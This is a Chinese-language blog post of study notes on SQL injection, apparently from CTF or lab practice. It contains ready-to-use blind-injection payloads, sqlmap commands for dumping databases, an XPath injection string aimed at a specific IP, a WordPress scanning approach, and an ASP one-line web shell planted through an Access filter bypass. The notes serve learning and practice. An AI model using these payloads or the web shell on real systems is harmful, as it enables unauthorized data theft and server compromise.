zoukankan      html  css  js  c++  java
  • sql注入

    SQL基础:

    注入点的判断

    首先判断该注入点是怎么闭合的,常用的是','),')),",再利用and 1=2,and 1=1判断闭合是否正确

    sql注入常用语句:

    普通语句:schema_name——数据库名;table_name——表名;column_name——字段名;

    查询数据库:select schema_name from information_schema.schemata--+

    查询数据库表:select table_name from information_schema.tables where table_schema='数据库名'--+

    查询字段名:select column_name from infromation_columns where table_name='表名'--+

    查询字段内容:select * from 表名--+

    盲注:

    先介绍几个常用的函数:

    left(a,b)-----查询a中数据,返回b个字符

    substr(s,n,len)------从字符串s中返回一个长度同len字符相同的字符串,起始于位置n,另外要注意的是,该函数起始位置是1,不是0

    CAST函数:语法规则是:Cast(字段名 as 转换的类型 ),进行数据类型转换

    limit a,b--------a决定返回第几行的数据,而b决定返回几行数据

    ORD() 函数:ORD() 函数返回字符串第一个字符的

    MySQL IFNULL函数是MySQL控制流函数之一,它接受两个参数,如果不是NULL,则返回第一个参数。 否则,IFNULL函数返回第二个参数。

    ascii----返回asciii值

    Regexp:是一个正则表达式

    接下来就是盲注常用的语句了:

    查看数据库名字长度:id=1' and length(database())=8 %23

    猜解数据库名字:id=1' and left(database(),1)>'r' %23

    不断地将1增加,猜出其余的字符,这里的大于号可以换成等于号(假如你能猜到数据库的名字大致是哪几个,可以直接换成=)

    猜解数据库表:id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>80 %23     不断地将1增加,猜出其余的字符

    猜解列名:id=1' and 1=(select 1 from information_schema.columns where table_name='emails' and column_name regexp '^email_id' limit 0,1)--+  可将红色部分替换[a-z],确定列名

    猜解字段中的内容:id=1' and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68 --+

    sql注入工具——sqlmap

    经常使用的语句:

    sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --current-db                                                                                      #获取当前数据库名称

    sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --tables -D "db_name"                                                                     #列表名

    sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --columns -T "tablename" users-D "db_name" -v 0                        #列字段

    sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0    #获取字段内容

    sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --dump -C "column_name" --dump -T "表名"                                 #获取字段内容

    下面是我做题的一些过程:

    SQL注入实战-MySQL

    注入点用base64编码的:用插件tamper 
    获取数据表:

    获取字段名:

    
    
    获取字段内容:

    WordPress插件漏洞分析溯源

    Wpscan:专门扫描wordpress一种扫描器,可以扫描插件漏洞,主题漏洞。
    根据这些漏洞找到攻击点:找到一个漏洞时,打开链接,根据链接的内容,对网站进行攻击(主要是通过注入找到后台用户名以及登录密码)

    Access防注入系统:
    在id=1后面添加sql语句,根据页面返回的结果,进行注入。
    id=1 and 1=<%eval request('aaa')%>
    发现页面只返回了and1=,将一句话进行编码,然后提交,返回一句话,但是查看sqlin.asp页面时发现被过滤了,被过滤了,网上找了几个放过滤的一句话

    经过尝试第三个可以绕过过滤,再次查看sqlin.asp页面,显示成功插入。
    接下来链接菜刀,拿到key

    Xpath注入:

    
    
    http://219.153.49.228:49950/demo.php?name=xml']|//*|//*[' --+

    ']  为闭合前面的节点
    |        为分别执行,符号前后的路径都要查询
    //*      为匹配所有节点
    //*['    为匹配后面的内容
     

    X-Forwarded-For注入漏洞实战:

    正常的注入无法注入

    抓包【这里是将sqlmap和burpsuite结合起来注入,将包中的文件保存到本地,然后利用sqlmap:sqlmap.py -r file.txt --dbs进行注入】

    手动加上X-Forwarded-For

    将包中的数据复制粘贴保存到本地,将sqlmap和burpsuite结合起来使用

    
    
    利用sqlmap进行注入:
     
    

     

    
    
     
    
     
    
     
    
     
    
     
    
     
    
     
    

  • 相关阅读:
    POJ
    CodeForces
    51Nod 1256 扩展欧几里得求乘法逆元
    SDUT 3917
    SDUT 3918
    从零开始实现asp.net MVC4框架网站的用户登录以及权限验证模块 详细教程
    bootstrap资料索引
    理解Login函数
    细说@Html.ActionLink()的用法
    RGB颜色对照表
  • 原文地址:https://www.cnblogs.com/xiaoqiyue/p/9026859.html
Copyright © 2011-2022 走看看